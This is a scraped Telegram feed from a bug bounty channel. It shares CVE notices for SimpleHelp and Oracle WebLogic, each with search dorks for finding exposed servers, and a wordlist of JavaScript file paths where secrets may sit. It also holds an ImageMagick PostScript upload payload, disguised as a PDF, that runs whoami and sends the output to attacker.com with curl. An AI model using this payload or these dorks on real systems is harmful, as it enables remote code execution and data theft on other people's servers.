Brut Security
Should I make a Bug Bounty study guide? Do give ❤️ reaction to say yes.
Bug Bounty Study Guide is on the way 😱
Please open Telegram to view this post
VIEW IN TELEGRAM
👍27🗿5
Brut Security
ATM Security Assessment Checklist.xlsx
Please open Telegram to view this post
VIEW IN TELEGRAM
01.
/js/config.js02.
/js/credentials.js03.
/js/secrets.js04.
/js/keys.js05.
/js/password.js06.
/js/api_keys.js07.
/js/auth_tokens.js08.
/js/access_tokens.js09.
/js/sessions.js10.
/js/authorization.js 11.
/js/encryption.js12.
/js/certificates.js13.
/js/ssl_keys.js14.
/js/passphrases.js 15.
/js/policies.js16.
/js/permissions.js 17.
/js/privileges.js18.
/js/hashes.js19.
/js/salts.js20.
/js/nonces.js21.
/js/signatures.js22.
/js/digests.js23.
/js/tokens.js24.
/js/cookies.js25.
/js/topsecr3tdonotlook.jsPlease open Telegram to view this post
VIEW IN TELEGRAM
🔥35❤11👍7🐳2
CVE-2024-57726, -57727, -57728: Multiple vulnerabilities in SimpleHelp, 7.2 - 8.8 rating❗️
The vulnerabilities allow attackers to upload arbitrary files to the SimpleHelp server, as well as escalate privileges, which together allows RCE to be carried out.
Search at Netlas.io:
👉 Link: https://nt.ls/Frx6H
👉 Dork: http.headers.server:"SimpleHelp"
Vendor's advisory: https://simple-help.com/kb---security-vulnerabilities-01-2025#
The vulnerabilities allow attackers to upload arbitrary files to the SimpleHelp server, as well as escalate privileges, which together allows RCE to be carried out.
Search at Netlas.io:
👉 Link: https://nt.ls/Frx6H
👉 Dork: http.headers.server:"SimpleHelp"
Vendor's advisory: https://simple-help.com/kb---security-vulnerabilities-01-2025#
👍6
⚡️Smart contract security report. It contains 2 High, 6 Medium & 8 Low severity issues.
✅https://github.com/gkrastenov/audits/blob/main/solo/SpartaDex-Security-Review.md
✅https://github.com/gkrastenov/audits/blob/main/solo/SpartaDex-Security-Review.md
❤9👍2
https://solodit.cyfrin.io/
All disclosed web3 protocols vulnerability reports with filters (like Hacktivity)
All disclosed web3 protocols vulnerability reports with filters (like Hacktivity)
Cyfrin Solodit
Smart Contract Vulnerability Dataset - Cyfrin Solodit
Explore the world’s largest data set of smart contract vulnerabilities, findings, and mitigations. Strengthen protocol and dApp security, research bugs before deployment.
🔥11👍2
Does anyone have Aura+ Songs Playlist ? Do Drop in Comments! Thank You.
🤨4🗿4
Content-Disposition: form-data; name="fileToUpload"; filename="pwn.pdf"Content-Type: application/pdf
%!PS
currentdevice null true mark /OutputICCProfile (%pipe%curl https://attacker.com/?a=$(whoami|base64) ).putdeviceparams
quit
Please open Telegram to view this post
VIEW IN TELEGRAM
HackerOne
Semrush disclosed on HackerOne: Remote Code Execution on...
The Logo upload in the report constructor at: https://www.semrush.com/my_reports/constructor
{F340480}
is passed through a not properly patched version of ImageMagick. You can use Postscript to...
{F340480}
is passed through a not properly patched version of ImageMagick. You can use Postscript to...
🔥8👍1
⚡WayBackup Finder - A passive way to find backups/ sensitive information.
⚠️ https://github.com/anmolksachan/WayBackupFinder
Please open Telegram to view this post
VIEW IN TELEGRAM
👍9❤1
CVE-2025-21535: Server Takeover in Oracle WebLogic, 9.8 rating 🔥
An easily exploitable vulnerability in the Core component allows an unauthenticated attacker to remotely compromise a WebLogic server.
Search at Netlas.io:
👉 Link: https://nt.ls/6EpWK
👉 Dork: protocol:t3 OR protocol:t3s
Vendor's advisory: https://www.oracle.com/security-alerts/cpujan2025.html#AppendixFMW
An easily exploitable vulnerability in the Core component allows an unauthenticated attacker to remotely compromise a WebLogic server.
Search at Netlas.io:
👉 Link: https://nt.ls/6EpWK
👉 Dork: protocol:t3 OR protocol:t3s
Vendor's advisory: https://www.oracle.com/security-alerts/cpujan2025.html#AppendixFMW
👍6🫡1
Please open Telegram to view this post
VIEW IN TELEGRAM
👍11🔥5❤3
Please open Telegram to view this post
VIEW IN TELEGRAM
Brut Security pinned «▶️ Explore Bug Bounty POC Videos: https://t.iss.one/brutsecurity_poc»